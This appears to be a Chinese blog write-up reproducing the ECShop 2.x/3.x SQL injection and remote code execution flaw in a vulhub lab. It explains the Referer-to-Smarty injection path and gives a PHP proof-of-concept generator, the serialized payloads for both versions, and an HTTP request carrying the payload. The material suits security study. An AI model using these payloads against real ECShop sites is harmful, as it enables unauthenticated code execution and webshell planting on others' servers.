ECShop 2.x/3.x SQL注入/远程代码执行漏洞

ECShop 2.x/3.x SQL注入/远程代码执行漏洞

文档说明

本文作者:SwBack
创作时间:2023-04-09 18:41:55
知乎:https://www.zhihu.com/people/back-88-87
CSDN:https://blog.csdn.net/qq_30817059
百度搜索: SwBack

漏洞描述

ECShop是一个B2C的独立商城系统,供企业和个人快速搭建个性化网上商城。 本系统是一个基于PHP语言和MYSQL数据库架构的跨平台开源程序。

2017及之前版本存在SQL注入漏洞,可注入payload,最终导致代码执行漏洞。 最新3.6.0版本已修复漏洞,vulhub使用其最新版本2.7.3和3.6.0非最新版本重现漏洞。

影响版本

2.x/3.x

漏洞原理

漏洞点在于HTTP-Referer

Ecshop使用了php模版引擎smarty,该引擎有两个基本的函数assign()display()。assign()函数用于在模版执行时为模版变量赋值,display()函数用于显示模版。smarty运行时,会读取模版文件,将模版文件中的占位符替换成assign()函数传递过来的参数值,并输出一个编译处理后的php文件,交由服务器运行。

在user.php中,服务器获取HTTP_REFERER传递的值,并将其赋值为$back_act.

在这里插入图片描述

assign()函数将又该变量传递给了模版文件

在这里插入图片描述

includes/init.php文件中创建了cls_template.php来处理模版文件

includes/cls_template.php文件中的display()函数调用了fetch()函数

以下漏洞原理参考百度文章

fetch()函数是将填充参数之后的模版文件输出给变量$out,最终调用explode()函数将变量$out打散为数组

查看insert_mod()函数的代码,首先是将用户可控的参数用”|”符号分割为一个数组,将数组中的值赋值给了两个变量 f u n 和 fun和 funpara,接着对“|”符号之后的变量$para进行反序列化,生成了数组$para,最后返回了一个动态函数调用。

查看所有的以“insert_”开头的函数,其中insert_ads()、insert_bought_notes()函数是可以进行利用的,传入这两个函数的数组是可控的,并且拼接了SQL语句,因此存在SQL注入漏洞。

以上漏洞原理参考百度文章

漏洞复现

下载vulhub

通过vulhub进行搭建,首先在一台已经安装 docker-compose的Linux机器中输入如下命令,将vulhub下载到本地

#下载vulhub
wget https://github.com/vulhub/vulhub/archive/master.zip -O vulhub-master.zip

#解压zip
unzip vulhub-master.zip

#进入解压目录
cd vulhub-master

启动环境

在上一步我们已经将vulhub解压到本地了.接下来我们进入需要复现的漏洞目录,通过docker-compose 将环境进行启动

#进入目录
cd ecshop/collection_list-sqli/ 
#启动环境
docker-compose up -d

输入命令之后,就会出现如下显示,等待执行完毕

在这里插入图片描述

vulhub 会启动两个版本的ecshop,版本分别为 2.7.33.6.0

我们输入如下命令 查看已经启动的docker容器.其中8080端口为2.7.3 8081端口为 3.6.0

docker ps

环境配置

这里我先采用2.7.3版本进行演示

浏览器访问8080端口. IP地址为宿主机IP,如果采用的是公网服务器,那么地址为服务器的公网IP

  • 同意条款

在这里插入图片描述

配置系统

数据库主机:输入mysql

账号密码均为root

端口号: 3306

数据库名 : 任意

其他均任意

在这里插入图片描述

  • 安装成功

在这里插入图片描述

生成POC

关于poc,vulhub已经帮我们准备好了生成的脚本.

我们可以在本地启动php进行生成.POC生成脚本如下:

会自动生成2.x和3.x的版本

<?php
$shell = bin2hex("{\$asd'];phpinfo\t();//}xxx");
$id = "-1' UNION/*";
$arr = [
    "num" => sprintf('*/SELECT 1,0x%s,2,4,5,6,7,8,0x%s,10-- -', bin2hex($id), $shell),
    "id" => $id
];

$s = serialize($arr);

$hash3 = '45ea207d7a2b68c49582d2d22adf953a';
$hash2 = '554fcae493e564ee0dc75bdf2ebf94ca';

echo "POC for ECShop 2.x: \n";
echo "{$hash2}ads|{$s}{$hash2}";
echo "\n\nPOC for ECShop 3.x: \n";
echo "{$hash3}ads|{$s}{$hash3}";

生成内容如下:

POC for ECShop 2.x: 
554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:107:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b706870696e666f0928293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}554fcae493e564ee0dc75bdf2ebf94ca

POC for ECShop 3.x: 
45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:"num";s:107:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b706870696e666f0928293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}45ea207d7a2b68c49582d2d22adf953a

复现成功

进行发包,可以看到已经复现成功

GET /user.php?act=login HTTP/1.1
Host: 8.130.30.200:8080
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36
Referer:554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:107:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b706870696e666f0928293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}554fcae493e564ee0dc75bdf2ebf94ca
Content-Length: 0

在这里插入图片描述

复现总结

ecshop 漏洞主要是因为 user.php文件中的display函数的模版变量可控,导致注入,配合注入可达到远程代码执行.不需要登录即可远程写入webshell。

原创申明

本文由SwBack 原创文章, 如有问题,欢迎指正。

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

SwBack

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值